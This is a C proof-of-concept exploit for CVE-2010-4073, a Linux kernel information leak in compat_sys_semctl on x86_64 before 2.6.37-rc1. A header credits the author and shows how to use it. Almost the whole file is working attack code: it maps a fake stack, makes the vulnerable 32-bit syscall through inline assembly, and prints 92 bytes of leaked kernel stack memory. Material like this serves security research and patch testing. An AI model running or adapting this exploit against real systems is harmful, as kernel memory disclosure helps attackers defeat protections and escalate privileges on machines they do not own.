/* * Linux Kernel < 2.6.37-rc1 compat_sys_semctl 92-Byte Stack Disclosure * Jon Oberheide * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073 * * The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not * initialize certain structures, which allows local users to obtain * potentially sensitive information from kernel stack memory via vectors * related to the (1) compat_sys_semctl, (2) compat_sys_msgctl, and (3) * compat_sys_shmctl functions in ipc/compat.c; and the (4) * compat_sys_mq_open and (5) compat_sys_mq_getsetattr functions in * ipc/compat_mq.c. * * Usage: * * $ gcc cve-2010-4073.c -o cve-2010-4073 * $ ./cve-2010-4073 * [+] dumping 92 bytes of kstack memory... * ... */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define NR_ipc 0x75 #define SEMCTL 0x3 struct ipc64_perm { uint32_t key; uint32_t uid; uint32_t gid; uint32_t cuid; uint32_t cgid; uint32_t mode; uint16_t seq; uint16_t __pad2; unsigned long __unused1; unsigned long __unused2; }; struct semid64_ds { struct ipc64_perm sem_perm; unsigned long sem_otime; unsigned long __unused1; unsigned long sem_ctime; unsigned long __unused; unsigned long sem_nsems; unsigned long __unused3; unsigned long __unused4; }; union semun { int val; struct semid_ds *buf; unsigned short *array; struct seminfo *__buf; }; int main(void) { int i, size, offset; union semun *arg; struct semid_ds dummy; struct semid64_ds *leaked; char *stack_start, *stack_end; unsigned char *p; if (sizeof(unsigned long) != 8) { printf("[-] x86_64 only, sorry!\n"); exit(1); } /* make sure our argument is 32-bit accessible */ arg = mmap((void *) 0x10000, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); if (arg == MAP_FAILED) { printf("[-] failure mapping memory, aborting!\n"); exit(1); } /* map a fake stack to use during syscall */ stack_start = mmap((void *) 0x20000, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); if (stack_start == MAP_FAILED) { printf("[-] failure mapping memory, aborting!\n"); exit(1); } stack_end = stack_start + 4096; memset(arg, 0, sizeof(union semun)); memset(&dummy, 0, sizeof(struct semid_ds)); arg->buf = &dummy; /* syscall(NR_ipc=0x75, SEMCTL=0x3, 0, 0, IPC_SET=0x1, arg) */ asm volatile ( "push %%rax\n" "push %%rbx\n" "push %%rcx\n" "push %%rdx\n" "push %%rsi\n" "push %%rdi\n" "movl %0, %%eax\n" "movl %1, %%ebx\n" "movl %2, %%ecx\n" "movl %3, %%edx\n" "movl %4, %%esi\n" "movq %5, %%rdi\n" "movq %%rsp, %%r8\n" "movq %6, %%rsp\n" "push %%r8\n" "int $0x80\n" "pop %%r8\n" "movq %%r8, %%rsp\n" "pop %%rdi\n" "pop %%rsi\n" "pop %%rdx\n" "pop %%rcx\n" "pop %%rbx\n" "pop %%rax\n" : : "r"(NR_ipc), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end) : "memory", "eax", "ebx", "ecx", "edx", "esi", "edi", "r8" ); p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)); leaked = (struct semid64_ds *) p; size = sizeof(struct semid64_ds) - (3 * sizeof(uint32_t)); printf("[+] dumping %d bytes of kstack memory...\n", size); for (i = 0; i < sizeof(struct semid64_ds); ++i) { /* skip uid */ offset = offsetof(struct semid64_ds, sem_perm.uid); if (i >= offset && i < (offset + sizeof(uint32_t))) { continue; } /* skip gid */ offset = offsetof(struct semid64_ds, sem_perm.gid); if (i >= offset && i < (offset + sizeof(uint32_t))) { continue; } /* skip mode */ offset = offsetof(struct semid64_ds, sem_perm.mode); if (i >= offset && i < (offset + sizeof(uint32_t))) { continue; } printf("%02x ", p[i]); } printf("\n"); return 0; }